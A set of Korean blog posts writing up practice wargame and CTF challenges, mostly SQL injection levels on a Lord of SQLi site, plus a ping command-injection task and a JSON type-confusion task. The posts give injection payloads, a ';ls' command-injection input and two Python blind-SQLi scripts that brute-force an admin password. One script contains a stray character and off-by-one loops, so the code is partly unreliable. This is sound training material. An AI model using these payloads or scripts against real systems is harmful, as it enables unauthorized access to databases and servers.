문제를 보면 id 값이 admin 이면 문제는 해결된다. preg_math() 함수로 필터링 하는 문자들을 보면 '(따옴표)를 필터링 하고 있고, admin 이라는 문자열을 필터링 하고 있다. 그러나 첫번째 preg_match() 함수를 보면 i 가 있고, 두번째는 i가없다. preg_match() 함수의 패턴 구분자 뒤의 'i'는 대소문자 무시를 하게 된다. 만약 두번째 preg_match() 함수에 'i' 가 있었다면 admin 이라는 문자열이든, Admin 이라는 문자열이든 대소문자 구분하지 않고 필터링 하게 된다. 그러나 지금 이 함수에는 'i' 가 없다. 또한 mysql은 대소문자 구분을 하지 않는다. 따라서 대문자로 우회할 수 있다.

 

payload : /?id=ADmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03

문제를 보면 or과 and를 필터링 하고 있다. 문제를 풀려면 pw의 정확한 값을 알아내야 한다. pw의 정확한 값을 알아내기 위해 먼저 pw의 길이를 알아내고, 그다음에 정확한 값을 알아내야 한다. pw 길이를 알아내기 위해서는 orc 문제를 풀때 사용했던 것처럼 length() 함수를 사용할 것이고, 값을 알아내기 위해서는 substr() 함수를 사용할 것이다. 전체적인 코드는 orc 문제의 코드와 비슷하나 or 이라는 문자열이 필터링 되었기 때문에 동일한 역활을 하는 || 연산자로 우회를 하면 문제를 해결할 수 있다.

# los_orge.py
import requests
import re

headers = {'cookie': 'PHPSESSID=r6u3ju9bidkgqfvu2vtfc7h3cv;'}
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/'

pw_len = 0
pw = ''
tryList = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
# substr() 함수에서 대입할 문자들(숫자, 알파벳 대소문자)

# pw 길이 알아내기
while True:
    pw_len += 1
    payload = "?pw=' || length(pw)='" +str(pw_len)
    r = requests.get(url+payload, headers = headers)0
    if(re.findall('Hello admin', r.text)):
        break

print('password length : ' +str(pw_len))

# 정확한 값 알아내기
for i in range(1, pw_len+1):
    for j in range(len(tryList)+1):
        payload = "?pw=' || substr(pw," +str(i) +",1)='" +str(tryList[j])
        r = requests.get(url+payload, headers=headers)
        print(payload)

        if re.findall('Hello admin', r.text):
            print(tryList[j])
            pw += str(tryList[j])
            break

print('password : '+pw)

코드를 수행하면 다음과 같은 결과가 나오고 찾은 pw 값을 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29

문제를 보면 id 값이 admin 이여야 하고 preg_match() 함수를 통해 or과 and 가 필터링 되어 있다. 이 문자열들은 sql에서 ||(or) 연산자와 &&(연산자)도 같은 역활을 한다. 따라서 || 연산자를 활용하여 or 필터링을 우회할 수 있다.

/?pw='||id=admin 으로 쿼리를 주입하면 문제를 해결할 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26

 

문제를 보면 id 값이 admin이면 문제가 풀리고, 현재 id 값은 guest 이다. preg_match()함수를 통해 싱글쿼터(')와 더블쿼터(")는 모두 필터링 되어 있다.

no 값에 1을 넣어 보면 hello guest가 출력되는 것을 보니 guest의 no 값은 1이다.

싱글 쿼터가 필터링 된 것은 hex값을 이용하여 우회할 수 있다. id 값이 admin이여야 하므로 admin의 hex 값은 0x61646d696e 이다. 

쿼리를 /?no=2 or id=0x61646d696e  로 전송하게 되면 앞에 no 값이 거짓이기 때문에 id값은 admin이 되어 문제를 해결할 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26

Web

[Robots. Yeah, I know, pretty obvious.]

문제를 보니 별 다른 링크는 없었고 설명에 로봇과 관련된 말들이 써 있길래 ctf 페이지의 robots.txt 파일을 확인해 봤다.

해당 파일은 존재 했고 파일에는 다음과 같은 내용들이 있었다.

저 파일들 중 /robot-nurses 파일에 들어가 보니 플래그가 있었다.

flag : rtcp{r0b0t5_4r3_g01ng_t0_t4k3_0v3r_4nd_w3_4r3_s0_scr3w3d}

 

[No Sleep]

문제 페이지에 들어가 보면 시간 카운트다운을 하고 있었다.

그리고 문제 페이지의 쿠키를 확인하면 다음과 같이 어떤 시간을 저장하고 있다.

이 시간이 웹 페이지에 나온 기다려야하는 시간 같으니 저 시간을 현재 시간으로 바꿔주면 플래그가 보인다.

flag : rtcp{w0w_d1d_u_st4y_up?}

 

[Phishing for Flags]

문제를 보면 이메일 압축 파일이 주어지는데 압축 해제하면 메일 파일들이 있다.

메일 파일들을 보면 GIVE ME BACK MY EYEHOLES 라는 파일의 링크를 들어가보면 riceteacatpanda.wtf/phishingemail 링크로 연결되는데 저 페이지 안에 플래그가 있다.

flag : rtcp{r34d_b3f0rE_yOU_C1iCk}

 

[What's in The Box?!]

문제를 보면 박스 이모티콘이 하나 있는데 그 이모티콘을 개발자모드로 확인해보면 a 태그로 javascript 코드가 연결되어 있다. 

이 javascript 코드를 잘 읽어보면 다음과 같이 주석으로 플래그가 나누어져 있다.

 

Cryptography

[Don't Give The GIANt a COOKie]

69acad26c0b7fa29d2df023b4744bf07 이 암호화된 문자열을 md5로 복호화 하면 chocolate mmm 라는 문자열이 나온다. 이 문자열을 플래그 형식으로 제출하면 된다.

flag : rtcp{chocolate mmm}

 

[15]

문제를 보면 다음과 같이 긴 문자열이 존재하고 하단에 플래그로 예측되는 문자열이 있다.

해당 문자열을 빈도분석 기법으로 해독해보면 암호를 해독할 수 있다. 빈도분석은 다음 사이트에서 온라인으로 분석할 수 있다. https://quipqiup.com/

flag : rtcp{c4R3Ful_w1tH_3X1f_d4T4}

 

[Forensics]

[BTS-Crazed]

문제 파일을 보면 음악 파일인데 HxD로 플래그 포맷인 rtcp를 검색해보면 플래그가 나온다.

 

flag : rtcp{j^cks0n_3ats_r1c3}

 

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

문제 페이지에 들어가면 ping을 보낼 수 있는 기능이 있어 8.8.8.8로 핑을 보내보니 정상적으로 보내지는 것을 확인할 수 있었다. 

이 과정에서 서버의 ping 명령어를 사용하는 것을 알 수 있었고 다중 명령어 사용을 의미라는 세미클론(;)으로 ls명령를 사용하여 서버의 파일 목록들을 확인할 수 있었다.

payload = ;ls

파일 목록을 보니 print-flag 라는 파일이 있었고, 해당 url을 입력하여 이 파일을 다운로드 할 수 있었다.

payload = http://lowdeep.insomnihack.ch/print-flag

 

다운로드한 파일을 hxd로 확인해 보니 elf 파일 이였고, 파일의 가장 끝부분을 보면 플래그를얻을 수 있었다.

flag : INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26

문제를 보면 pw 값이 admin의 pw값과 일치하면 문제를 풀 수 있는 것 같다.

blind sql injection 을 통해 pw를 알아낼 수 있을 것 같다.

pw 알아내는 과정을 두 단계로 설명해 보면 먼저 pw의 길이를 알아내고 알아낸 길이로 실제 pw 값을 알아낼 수 있다.

pw의 길이를 알아내는 방법은 length() 함수를 통해 알아낼 수 있고, pw 값은 substr() 함수를 통해 알아낼 수 있다.

length()는 문자열 길이를 반환하는 함수이고, substr()함수는 문자열을 특정 범위만큼 자르는 함수이다.

 

위 페이지에서는 쿼리의 조건이 참이면 "Hello admin"을 출력한다.

length() 함수를 이용하여 pw의 길이를 1부터 확인해 본 결과 pw의 길이는 8이였다.

query: ?pw=' or length(pw)=8--%20

pw의 값은 substr 함수로 1자리씩 참,거짓을 판단하여 구할 수 있다. 

이 과정을 사람이 수행하기에는 경우의 수가 너무 많기 때문에 파이썬으로 자동화 코드를 짜서 실행하였다.

import requests
import re

cookies = {"PHPSESSID": "38mrr1emu522is42ls4dq00svn"}
pwLen = 0
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
tryList = []
result = ""



for i in range(0,10):
    tryList.append(i)

for i in range(97, 123):  # 아스키 코드 값(영문 소문자)
    tryList.append(chr(i))


for i in range(1,100):
    lenPayload = "?pw=1' or length(pw)='" +str(i)
    new_url = url + lenPayload
    req = requests.get(new_url,cookies=cookies)

    if re.findall("<h2>Hello admin</h2>", req.text):        # pw 길이를 찾으면 길이를 저장하고 반복문 종료
        pwLen = i
        break

print("pw len : " +str(pwLen))



for i in range(1,pwLen+1):                         # pw 길이 만큼 반복
    for w in range(0,len(tryList)+1):              # 0~9 숫자 + 영소문자 갯수 만큼 반복
        par = "?pw=1' or substr(pw," +str(i) +",1)='" +str(tryList[w])      # pw 값을 1번째 자리부터 숫자, 영소문자를 대입하여 비교
        new_url = url + par
        req = requests.get(new_url,cookies=cookies)

        if re.findall("<h2>Hello admin</h2>", req.text):       # 결과가 참이면 해당 값을 저장하고 다음 자리로 넘어감
            print(tryList[w])
            result += str(tryList[w])
            break


print("password is " +result)

 위 코드를 수행하면 다음과 같은 결과값이 나오고, pw를 문제 페이지에 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10

문제 코드를 보면 전 문제와 마찬가지로 preg_match() 함수를 이용하여 특정 문자열들을 필터링하고 있고

id가 admin일때 문제가 풀린다고 한다.

 

id에 admin 값을 넣고 pw를 검증하는 부분을 주석으로 없애면 문제를 해결할 수 있다.

#을 url 인코딩한 %23을 주석으로 사용할 수 있다.

 

query : ?id=admin'%23

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07

문제 코드를 보면 id 값이 있으면 문제가 풀린다.

또한 preg_match() 함수를 이용하여 _ , . 등의 문자등을 필터링 하고 있다.

필터링 하는 문자열에는 '(싱글쿼터)와 #(주석), or 등이 없다.

 

따라서 id 값에 or 연산으로 조건을 참으로 만들어 주면 문제가 해결된다.

query : ?id=admin' or '1'='1#

 

             

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07
[Wargame.kr] md5_compare  (0) 2019.09.03

문제 설명을 보면 간단한 비교 문제이고, 힌트는 이 문제의 제목이라고 한다.

 

문제 페이지를 보면 입력창만 하나가 있다.

소스코드를 보면 post 방식으로 입력받고 있는데,

json_decode() 함수로 입력 받은 값을 json 값으로 바꿔준다.

key 값이 true면 flag를 출력하는 것 같다.

post 방식으로 입력받기 때문에 프록시 툴을 이용해서 입력 값을 가로채주면 다음과 같은 값이 나온다.

이 값은 url 인코딩 된 값이기 때문에 decode 해주면 다음과 같이 {"key":"123"} 의 값이 나온다.

저 값에서 123을 true로 바꾼후 값을 전달해 주면 flag를 얻을 수 있다.

true는 문자열이 아닌 boolean형 자료형이기때문에 "값인 %22도 함께 삭제해야 한다.

 

 

알게된 점 : json 관련 취약점, php json_decode() 함수

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] tmitter  (0) 2019.09.07
[Wargame.kr] md5_compare  (0) 2019.09.03
[Wargame.kr] strcmp  (0) 2019.09.02

+ Recent posts